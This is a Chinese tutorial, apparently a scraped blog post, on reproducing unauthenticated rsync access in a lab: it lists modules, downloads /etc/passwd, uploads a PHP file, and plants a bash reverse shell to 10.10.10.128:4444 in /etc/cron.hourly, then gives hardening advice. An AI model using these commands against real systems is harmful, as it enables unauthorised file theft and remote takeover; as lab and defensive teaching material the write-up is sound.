Rsync未授权访问

Rsync简介

rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限、时间、软硬链接等附加信息。 rsync是用 “rsync 算法”提供了一个客户机和远程文件服务器的文件同步的快速方法,而且可以通过ssh方式来传输文件,这样其保密性也非常好

Rsync配置文件&常见配置项

默认配置文件路径:/etc/rsync.conf

默认端口:873

  1. motd file -> motd文件位置
  2. log file -> 日志文件位置
  3. path -> 默认路径位置
  4. use chroot -> 是否限定在该目录下,默认为true,当有软连接时,需要改为fasle,如果为true就限定为模块默认目录
  5. read only -> 只读配置(yes or no
  6. list=true -> 是否可以列出模块名
  7. uid = root -> 传输使用的用户名
  8. gid = root -> 传输使用的用户组
  9. auth users -> 认证用户名
  10. secrets file=/etc/rsyncd.passwd -> 指定密码文件,如果设定验证用户,这一项必须设置,设定密码权限为400,密码文件/etc/rsyncd.passwd的内容格式为:username:password
  11. hosts allow=192.168.0.101 -> 设置可以允许访问的主机,可以是网段,多个Ip地址用空格隔开
  12. hosts deny 禁止的主机,host的两项可以使用*表任意。

Rsync基本命令

  1. 命令:
  2. Rsync [-avrlptgoD] [-e ssh] [user@hostIP:/dir] [/local/path]
  3. -v 观察模式,输出更多资讯
  4. -q v 相反,仅显示错误信息
  5. -r 递归复制,针对目录
  6. -u 仅更新较新的文件
  7. -l 复制连接的属性
  8. -p 复制时保持属性不变
  9. -g 保存原有群组
  10. -o 保存原有拥有人
  11. -D 保存原有装置属性
  12. -t 保存原有时间属性
  13. -I 忽略更新时间属性,档案比对较快
  14. -z 加上压缩参数
  15. -e 使用协议通道,例如ssh,-e ssh
  16. -a 相对于-rlptgoD,所以-a最常用

漏洞利用

连接&&读取文件

rsync rsync://192.168.124.153:873/

rsync rsync://192.168.124.153:873/src/

  1. root@kali:/# rsync rsync://192.168.124.153:873/
  2. src src path
  3. root@kali:/# rsync rsync://192.168.124.153:873/src/
  4. drwxr-xr-x 4,096 2020/09/09 11:22:20 .
  5. -rwxr-xr-x 0 2020/09/09 11:22:20 .dockerenv
  6. -rwxr-xr-x 101 2020/07/26 18:13:18 docker-entrypoint.sh
  7. drwxr-xr-x 4,096 2018/01/22 02:42:04 bin
  8. drwxr-xr-x 4,096 2017/07/13 21:01:05 boot
  9. drwxr-xr-x 4,096 2020/09/09 11:22:19 data
  10. drwxr-xr-x 340 2020/09/09 22:48:04 dev
  11. drwxr-xr-x 4,096 2020/09/09 22:52:12 etc
  12. drwxr-xr-x 4,096 2017/07/13 21:01:05 home
  13. drwxr-xr-x 4,096 2018/01/22 02:42:05 lib
  14. drwxr-xr-x 4,096 2017/10/09 08:00:00 lib64
  15. drwxr-xr-x 4,096 2017/10/09 08:00:00 media
  16. drwxr-xr-x 4,096 2017/10/09 08:00:00 mnt
  17. drwxr-xr-x 4,096 2017/10/09 08:00:00 opt
  18. dr-xr-xr-x 0 2020/09/09 22:48:04 proc
  19. drwx------ 4,096 2020/09/09 23:05:08 root
  20. drwxr-xr-x 4,096 2020/09/09 23:08:14 run
  21. drwxr-xr-x 4,096 2017/10/09 08:00:00 sbin
  22. drwxr-xr-x 4,096 2017/10/09 08:00:00 srv
  23. dr-xr-xr-x 0 2020/09/09 22:48:04 sys
  24. drwxrwxrwt 4,096 2020/09/09 22:48:33 tmp
  25. drwxr-xr-x 4,096 2017/10/09 08:00:00 usr
  26. drwxr-xr-x 4,096 2017/10/09 08:00:00 var
  27. root@kali:/# rsync rsync://192.168.124.153:873/src/
  28. drwxr-xr-x 4,096 2020/09/09 11:22:20 .
  29. -rwxr-xr-x 0 2020/09/09 11:22:20 .dockerenv
  30. -rwxr-xr-x 101 2020/07/26 18:13:18 docker-entrypoint.sh
  31. drwxr-xr-x 4,096 2018/01/22 02:42:04 bin
  32. drwxr-xr-x 4,096 2017/07/13 21:01:05 boot
  33. drwxr-xr-x 4,096 2020/09/09 11:22:19 data
  34. drwxr-xr-x 340 2020/09/09 22:48:04 dev
  35. drwxr-xr-x 4,096 2020/09/09 22:52:12 etc
  36. drwxr-xr-x 4,096 2017/07/13 21:01:05 home
  37. drwxr-xr-x 4,096 2018/01/22 02:42:05 lib
  38. drwxr-xr-x 4,096 2017/10/09 08:00:00 lib64
  39. drwxr-xr-x 4,096 2017/10/09 08:00:00 media
  40. drwxr-xr-x 4,096 2017/10/09 08:00:00 mnt
  41. drwxr-xr-x 4,096 2017/10/09 08:00:00 opt
  42. dr-xr-xr-x 0 2020/09/09 22:48:04 proc
  43. drwx------ 4,096 2020/09/09 23:05:08 root
  44. drwxr-xr-x 4,096 2020/09/09 23:08:14 run
  45. drwxr-xr-x 4,096 2017/10/09 08:00:00 sbin
  46. drwxr-xr-x 4,096 2017/10/09 08:00:00 srv
  47. dr-xr-xr-x 0 2020/09/09 22:48:04 sys
  48. drwxrwxrwt 4,096 2020/09/09 22:48:33 tmp
  49. drwxr-xr-x 4,096 2017/10/09 08:00:00 usr
  50. drwxr-xr-x 4,096 2017/10/09 08:00:00 var

下载文件

下载etc/passwd:

  1. 命令格式:rsync rsync://IP:port/src/etc/passwd 目标路径
  2. 例如:
  3. rsync rsync://192.168.124.153:873/src/etc/passwd /tmp/tmp/
  1. root@kali:/# cat /tmp/tmp/passwd
  2. root:x:0:0:root:/root:/bin/bash
  3. daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  4. bin:x:2:2:bin:/bin:/usr/sbin/nologin
  5. sys:x:3:3:sys:/dev:/usr/sbin/nologin
  6. sync:x:4:65534:sync:/bin:/bin/sync
  7. games:x:5:60:games:/usr/games:/usr/sbin/nologin
  8. man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  9. lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  10. mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  11. news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  12. uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  13. proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  14. www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  15. backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  16. list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  17. irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
  18. gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  19. nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  20. systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
  21. systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
  22. systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
  23. systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false

上传文件

如果有相应的jsp/asp/php环境可以写一句话

下面以phpinfo为例

攻击机:

  1. root@kali:/# echo "<?php phpinfo() ?>" > phpinfo.php
  2. root@kali:/# cat ./phpinfo.php
  3. <?php phpinfo() ?>
  4. root@kali:/# rsync ./phpinfo.php rsync://192.168.124.153:873/src/home/

靶机:

  1. root@4448da0725bd:/# ls
  2. bin data docker-entrypoint.sh home lib64 mnt proc run srv tmp var
  3. boot dev etc lib media opt root sbin sys usr
  4. root@4448da0725bd:/# cd home/
  5. root@4448da0725bd:/home# ls
  6. phpinfo.php
  7. root@4448da0725bd:/home# cat phpinfo.php
  8. <?php phpinfo() ?>

反弹shell

网上只看到了利用定时任务cron反弹shell

1.先查看定时任务

  1. root@kali:/# rsync rsync://192.168.124.153:873/src/etc/crontab
  2. -rw-r--r-- 722 2019/03/22 03:45:10 crontab

2.将定时任务文件下载下来

  1. rsync rsync://192.168.124.153/src/etc/crontab /tmp/tmp/crontab.txt

我的内容为:

  1. # /etc/crontab: system-wide crontab
  2. # Unlike any other crontab you don't have to run the `crontab'
  3. # command to install the new version when you edit this file
  4. # and files in /etc/cron.d. These files also have username fields,
  5. # that none of the other crontabs do.
  6. SHELL=/bin/sh
  7. PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
  8. # m h dom mon dow user command
  9. 17 * * * * root cd / && run-parts --report /etc/cron.hourly
  10. 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
  11. 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
  12. 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
  13. #

大致意思为每17分钟调用一次/etc/cron.hourly

创建shell文件

  1. #!/bin/bash
  2. /bin/bash -i >& /dev/tcp/10.10.10.128/4444 0>&1

授权shell文件

  1. chmod 777 shell

上传shell文件至靶机

  1. root@kali:/# rsync -av /tmp/tmp/shell rsync://192.168.124.153:873/src/etc/cron.hourly
  2. sending incremental file list
  3. shell
  4. sent 154 bytes received 35 bytes 18.00 bytes/sec
  5. total size is 63 speedup is 0.33

攻击机开启nc监听相应端口

  1. nc -lvp 4444

安全配置&&修复建议

  1. 配置认证用户名或者密码
  2. host allow/deny 来控制接入源IP
  3. uidgid,使用足够但最小权限的账号进行
  4. 必要时候可以配置只读
  5. 非必要应该仅限制配置路径下可访问

1.修改指定端口

配置文件不存在修改指定端口的选项,可以在启动命令行通过参数指定

  1. /usr/local/rsync/bin.rsync --port=878 --daemon

查看进程检测是否更改端口

  1. ps -ef | grep rsync

2.禁止匿名访问

配置文件/etc/rsync.conf中增加 auth users = test

若未包含auth users即为匿名访问

参考文章

https://www.jianshu.com/p/85e368193dc2

https://www.cnblogs.com/KevinGeorge/p/9648028.html

https://www.cnblogs.com/leixiao-/p/10227086.html

https://paper.seebug.org/category/404team/

http://www.91ri.org/11093.html

【Vulhub】Rsync未授权访问漏洞复现的更多相关文章

  1. rsync未授权访问漏洞复现

    rsync未授权访问漏洞简介 rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口.由于配置不当,导致任何人可未授权访问r ...

  2. Rsync未授权访问漏洞的利用和防御

    首先Rsync未授权访问利用 该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell. 我们具体来看配置文件的网相关选项(/etc/r ...

  3. jboss 未授权访问漏洞复现

    jboss 未授权访问漏洞复现 一.漏洞描述 未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件. 二.漏洞环境搭建及复 ...

  4. Redis未授权访问漏洞复现

    Redis未授权访问漏洞复现 一.漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没 ...

  5. [转帖]Redis未授权访问漏洞复现

    Redis未授权访问漏洞复现 https://www.cnblogs.com/yuzly/p/11663822.html config set dirconfig set dbfile xxxx 一. ...

  6. Redis未授权访问漏洞复现与利用

    漏洞简介 Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认 ...

  7. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  8. Redis未授权访问漏洞复现及修复方案

    首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU ...

  9. Jboss未授权访问漏洞复现

    一.前言 漏洞原因:在低版本中,默认可以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码. 二.环境配置 使用docker搭建环境 ...

随机推荐

  1. 解决MyEclipse一直在Updating indexes的文题

    Updating indexes是Maven在下载更新,这个需要手动去设置即可:  Window --> Preferences --> Maven4MyEclipse --> 去除 ...

  2. Sentinel流控与熔断

    参考: https://thinkwon.blog.csdn.net/article/details/103770879 项目结构 com.guo     ├── guo-sentinel       ...

  3. ExtJs4学习(三)组件查找 ComponentQuery类

    Extjs3.x: ID:这就是所熟知的Ext.getCmp("组件ID"),缺点是id重复导致出错. ref:在EXTJS3中,所有的组件都会有一个ref属性,也就是refere ...

  4. jvm代码热替换过程中异常

    BTrace java.lang.NoClassDefFoundError: javax/xml/bind/JAXBException 具体如下: 1. 信这个问题很多小伙伴已经遇到了,这是在你的jd ...

  5. Nginx 实践:location 路径匹配

    1. 目标 nginx 反向代理,路径映射的过程是什么?如何配置路径映射规则? 2.location 路径匹配 2.1 匹配规则: location 路径正则匹配: 符号 说明 ~ 正则匹配,区分大小 ...

  6. Leetcode No.27 Remove Element(c++实现)

    1. 题目 1.1 英文题目 Given an integer array nums and an integer val, remove all occurrences of val in nums ...

  7. Caffeine缓存的简单介绍

    1.简介 在本文中,我们将了解Caffeine,一个用于Java的高性能缓存库. 缓存和Map之间的一个根本区别是缓存会清理存储的项目. 一个清理策略会决定在某个给定时间哪些对象应该被删除,这个策略直 ...

  8. python pil 图像加工处理

    from PIL import Imagefrom PIL import ImageEnhanceim=Image.open("d://aa.jpg","r") ...

  9. 传统.NET 4.x应用容器化体验(3)

    上一篇我们自己通过编写Dockerfile来编译部署一个ASP.NET MVC应用程序到Windows Container,这一篇我们来试着将.NET 4.x的镜像推送到harbor私有镜像仓库. 1 ...

  10. [刘阳Java]_酷炫视频播放器制作_JS篇

    此文章是接着上次写的<酷炫视频播放器制作_界面篇>将其完善,我们主要给大家介绍一下如何利用JS脚本来控制视频的播放.为了让大家能够保持对要完成的功能有直接的了解,我们还是将效果图附到文章里 ...